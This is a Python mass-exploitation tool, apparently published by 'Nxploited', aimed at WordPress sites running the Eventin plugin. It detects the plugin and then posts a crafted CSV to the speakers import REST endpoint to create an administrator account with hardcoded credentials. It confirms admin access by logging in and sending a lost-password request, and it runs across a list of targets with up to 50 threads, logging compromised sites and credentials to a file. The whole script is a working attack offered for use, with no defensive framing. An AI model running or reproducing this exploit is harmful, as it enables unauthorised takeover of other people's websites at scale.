import threading
import requests
import random
import os
import sys
import urllib3
import warnings
from queue import Queue
from colorama import init, Fore, Style
from urllib.parse import urlparse

# ======================= Global init & settings =======================

init(autoreset=True)
os.environ['NO_PROXY'] = '*'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)

TELEGRAM_HANDLE = "@KNxploited"
GITHUB_HANDLE = "Nxploited"

CSV_FILE = "user_updated.csv"
CSV_USERNAME = "Nxploited_12345"
CSV_EMAIL = "Nxploited123@gmail.com"
CSV_PASSWORD = "Nxploited_12345"
CSV_ROLE = "administrator"

RESULT_FILE = "success_results.txt"
MAX_THREADS = 50

BANNER = f"""
{Fore.LIGHTGREEN_EX}
 ▄▄        ▄  ▄       ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄            ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄  
▐░░▌      ▐░▌▐░▌     ▐░▌▐░░░░░░░░░░░▌▐░▌          ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ 
▐░▌░▌     ▐░▌ ▐░▌   ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀  ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌
▐░▌▐░▌    ▐░▌  ▐░▌ ▐░▌  ▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌     ▐░▌          ▐░▌       ▐░▌
▐░▌ ▐░▌   ▐░▌   ▐░▐░▌   ▐░█▄▄▄▄▄▄▄█░▌▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌
▐░▌  ▐░▌  ▐░▌    ▐░▌    ▐░░░░░░░░░░░▌▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌
▐░▌   ▐░▌ ▐░▌   ▐░▌░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌     ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌       ▐░▌
▐░▌    ▐░▌▐░▌  ▐░▌ ▐░▌  ▐░▌          ▐░▌          ▐░▌       ▐░▌     ▐░▌          ▐░▌     ▐░▌          ▐░▌       ▐░▌
▐░▌     ▐░▐░▌ ▐░▌   ▐░▌ ▐░▌          ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄█░█▄▄▄▄      ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌
▐░▌      ▐░░▌▐░▌     ▐░▌▐░▌          ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ 
 ▀        ▀▀  ▀       ▀  ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀  
{Style.RESET_ALL}
"""

# ======================= CSV creation =======================

def create_csv_file():
    with open(CSV_FILE, "w", encoding="utf-8") as f:
        f.write("name,email,username,password,role\n")
        f.write(f"{CSV_USERNAME},{CSV_EMAIL},{CSV_USERNAME},{CSV_PASSWORD},{CSV_ROLE}\n")

# ======================= HTTP helpers =======================

def random_user_agent():
    agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
        "(KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
    ]
    return random.choice(agents)

def normalize_base(site: str) -> str:
    site = site.strip()
    if not site.startswith(("http://", "https://")):
        site = "https://" + site
    return site.rstrip("/")

# ======================= Eventin conditions & exploit =======================

def eventin_condition_1(site):
    try:
        base = normalize_base(site)
        resp = requests.get(
            f"{base}/wp-json",
            headers={"User-Agent": random_user_agent()},
            timeout=10,
            verify=False,
        )
        return "eventin" in resp.text.lower()
    except Exception:
        return False

def eventin_condition_2(site):
    try:
        base = normalize_base(site)
        resp = requests.get(
            f"{base}/wp-json/eventin/v2",
            headers={"User-Agent": random_user_agent()},
            timeout=10,
            verify=False,
        )
        return resp.status_code == 200
    except Exception:
        return False

def exploit(site):
    """
    استثمار استيراد المتحدثين عبر CSV لإضافة مستخدم جديد في ووردبريس.
    """
    base = normalize_base(site)
    target_url = f"{base}/wp-json/eventin/v2/speakers/import"
    try:
        with open(CSV_FILE, "rb") as csv_file:
            files = {"speaker_import": (CSV_FILE, csv_file, "text/csv")}
            resp = requests.post(
                target_url,
                files=files,
                headers={"User-Agent": random_user_agent()},
                timeout=20,
                verify=False,
            )
            # معيار النجاح الأساسي من رد الـ API
            return resp.status_code == 200 and "Successfully imported speaker" in resp.text
    except Exception:
        return False

# ======================= Strict login verification =======================

def check_admin_access(sess: requests.Session, site: str, timeout: int = 10) -> bool:
    """
    Strict check that the current session has real access to WordPress admin UI.

    Conditions:
      - No redirect to wp-login.php on /wp-admin pages.
      - No permission-denied strings.
      - Presence of admin UI markers in multiple admin pages.
    """
    base = normalize_base(site)
    admin_paths = [
        "/wp-admin/index.php",
        "/wp-admin/profile.php",
        "/wp-admin/edit.php",
        "/wp-admin/plugins.php",
        "/wp-admin/users.php",
    ]
    markers = [
        'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
        'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
        "users.php", "plugins.php", "edit.php",
    ]
    deny = [
        "sorry, you are not allowed to access this page",
        "you do not have sufficient permissions",
        "insufficient permissions",
    ]

    ok_pages = 0

    for ep in admin_paths:
        u = base.rstrip("/") + ep
        try:
            r = sess.get(
                u,
                headers={"User-Agent": random_user_agent()},
                timeout=timeout,
                verify=False,
                allow_redirects=True,
            )
        except Exception:
            continue
        if r.status_code != 200:
            continue
        if "wp-login.php" in (r.url or ""):
            return False
        content = r.text or ""
        low = content.lower()
        if any(d in low for d in deny):
            return False
        found = sum(1 for m in markers if m in content)
        if found >= 3:
            ok_pages += 1
        if ok_pages >= 2:
            return True

    # Fallback: plugin install page
    try:
        r2 = sess.get(
            base.rstrip("/") + "/wp-admin/plugin-install.php",
            headers={"User-Agent": random_user_agent()},
            timeout=timeout,
            verify=False,
            allow_redirects=True,
        )
        if r2.status_code == 200:
            low2 = (r2.text or "").lower()
            if any(d in low2 for d in deny):
                return False
            if "upload-plugin" in low2 or "plugin-install-tab" in low2:
                return True
    except Exception:
        pass

    return ok_pages >= 1

def strict_wp_login(site: str, username: str, password: str, timeout: int = 10) -> bool:
    """
    Strict WordPress login verification:

      - POST to wp-login.php with user/pass.
      - Reject on known failure messages.
      - Require wordpress_logged_in cookie.
      - Require check_admin_access() to pass.
    """
    base = normalize_base(site)
    login_url = f"{base}/wp-login.php"

    sess = requests.Session()
    sess.verify = False
    sess.headers.update({
        "User-Agent": random_user_agent(),
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "keep-alive",
    })

    # Pre-visit login page to establish cookies
    try:
        sess.get(login_url, timeout=timeout, allow_redirects=True)
    except Exception:
        pass

    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }

    headers = {
        "User-Agent": sess.headers["User-Agent"],
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
    }

    try:
        r = sess.post(
            login_url,
            data=data,
            headers=headers,
            timeout=timeout,
            verify=False,
            allow_redirects=True,
        )
    except Exception:
        return False

    content = (r.text or "").lower()
    fails = [
        "incorrect username or password",
        "invalid username",
        "invalid password",
        "error: the username",
        "is not registered",
        "authentication failed",
        "login failed",
        "unknown username",
    ]
    if any(x in content for x in fails):
        return False

    # Require wordpress_logged_in cookie
    has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    if not has_cookie:
        return False

    # Require admin access
    if not check_admin_access(sess, base, timeout=timeout):
        return False

    return True

# ======================= Lost password verification =======================

def verify_lostpassword(site) -> bool:
    """
    إرسال طلب استعادة كلمة مرور إلى نفس الإيميل المستخدم في CSV (CSV_EMAIL).
    النجاح = ظهور جملة تدل أن الإيميل أُرسل.
    """
    base = normalize_base(site)
    url = f"{base}/wp-login.php?action=lostpassword"
    data = {
        "user_login": CSV_EMAIL,
        "redirect_to": "",
        "wp-submit": "Get New Password"
    }
    parsed = urlparse(base)
    host = parsed.netloc

    headers = {
        "Host": host,
        "Cookie": "wordpress_test_cookie=WP%20Cookie%20check",
        "User-Agent": random_user_agent(),
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Referer": base.rstrip('/') + "/wp-login.php?action=lostpassword",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": base,
        "Upgrade-Insecure-Requests": "1",
        "Connection": "keep-alive"
    }
    try:
        resp = requests.post(url, data=data, headers=headers, timeout=15, verify=False)
        text = resp.text.lower()
        success_keywords = [
            "check your email for the confirmation link",
            "email has been sent",
            "reset link has been sent to your email",
            "password reset email has been sent",
            "if your email address exists in our database",
        ]
        return any(kw in text for kw in success_keywords)
    except Exception:
        return False

# ======================= Worker logic =======================

def worker(thread_id, targets_chunk, out_queue):
    for site in targets_chunk:
        try:
            cond1 = eventin_condition_1(site)
            cond2 = eventin_condition_2(site)

            if cond1 or cond2:
                exploited = exploit(site)
                if exploited:
                    # 1) تحقق صارم من تسجيل الدخول بالحساب الذي تم إنشاؤه عبر الثغرة
                    login_ok = strict_wp_login(site, CSV_USERNAME, CSV_PASSWORD)
                    # 2) تحقق إضافي: إرسال استعادة كلمة مرور على نفس الإيميل
                    lostpw_ok = verify_lostpassword(site)

                    # نعتبر الهدف ناجح إذا:
                    # - إما تسجيل الدخول نجح
                    # - أو استعادة كلمة المرور نجحت (حتى لو تسجيل الدخول فشل)
                    if login_ok or lostpw_ok:
                        status_line = (
                            f"{site} | USERNAME:{CSV_USERNAME} | PASSWORD:{CSV_PASSWORD} "
                            f"| LOGIN:STRICT_{'OK' if login_ok else 'FAIL'} "
                            f"| LOSTPW:{'SUCCESS' if lostpw_ok else 'FAIL'}"
                        )
                        out_queue.put(("success", site))
                        write_result(RESULT_FILE, status_line)
                    else:
                        out_queue.put(("failed", site))
                else:
                    out_queue.put(("failed", site))
            else:
                out_queue.put(("failed", site))
        except Exception:
            out_queue.put(("failed", site))

# ======================= Utility helpers =======================

def chunkify(lst, n):
    if n <= 0:
        n = 1
    return [lst[i::n] for i in range(n)]

def write_result(filename, data):
    with open(filename, "a", encoding="utf-8") as f:
        f.write(data + "\n")

def read_targets(filename):
    targets = []
    try:
        with open(filename, "r", encoding="utf-8") as f:
            for line in f:
                url = line.strip()
                if url:
                    targets.append(url)
    except FileNotFoundError:
        print(f"Targets file not found: {filename}")
        sys.exit(1)
    return targets

# ======================= Output helpers =======================

def print_success():
    ascii_success = f"""{Fore.LIGHTGREEN_EX}
  __      _  _  _  __  __   
 (_  | | /  /  |_ (_  (_    
 __) |_| \_ \_ |_ __) __)   
                            
{Style.RESET_ALL}"""
    print(ascii_success)
    print(
        Fore.LIGHTGREEN_EX
        + "=======================> Exploit + STRICT LOGIN/LOSTPW succeeded, check the result file"
        + Style.RESET_ALL
    )

def print_failed():
    print(Fore.RED + "FAILED ========> failed" + Style.RESET_ALL)

def printer_loop(queue):
    while True:
        item = queue.get()
        if item is None:
            break
        typ = item[0]
        if typ == "success":
            print_success()
        elif typ == "failed":
            print_failed()

# ======================= Main =======================

def main():
    print(BANNER)
    print(Fore.LIGHTGREEN_EX + "Nxploited | Mass Admin (Eventin Import + Strict WP Login + LostPW)" + Style.RESET_ALL)
    print(Fore.CYAN + f"Telegram: {TELEGRAM_HANDLE} | GitHub: {GITHUB_HANDLE}" + Style.RESET_ALL)

    create_csv_file()

    list_file = input("Enter the targets list filename (e.g. list.txt): ").strip()
    if not list_file:
        list_file = "list.txt"

    try:
        num_threads = int(input("Enter number of threads (speed, 1 to 50): ").strip())
        num_threads = max(1, min(num_threads, MAX_THREADS))
    except Exception:
        num_threads = 10

    targets = read_targets(list_file)
    if not targets:
        print("No targets loaded.")
        sys.exit(1)

    safe_threads = min(num_threads, max(1, min(MAX_THREADS, len(targets))))
    queue = Queue()
    threads = []
    chunks = chunkify(targets, safe_threads)

    printer = threading.Thread(target=printer_loop, args=(queue,), daemon=True)
    printer.start()

    for i in range(safe_threads):
        th = threading.Thread(target=worker, args=(i, chunks[i], queue), daemon=True)
        th.start()
        threads.append(th)

    for th in threads:
        th.join()
    queue.put(None)
    printer.join()

if __name__ == "__main__":
    main()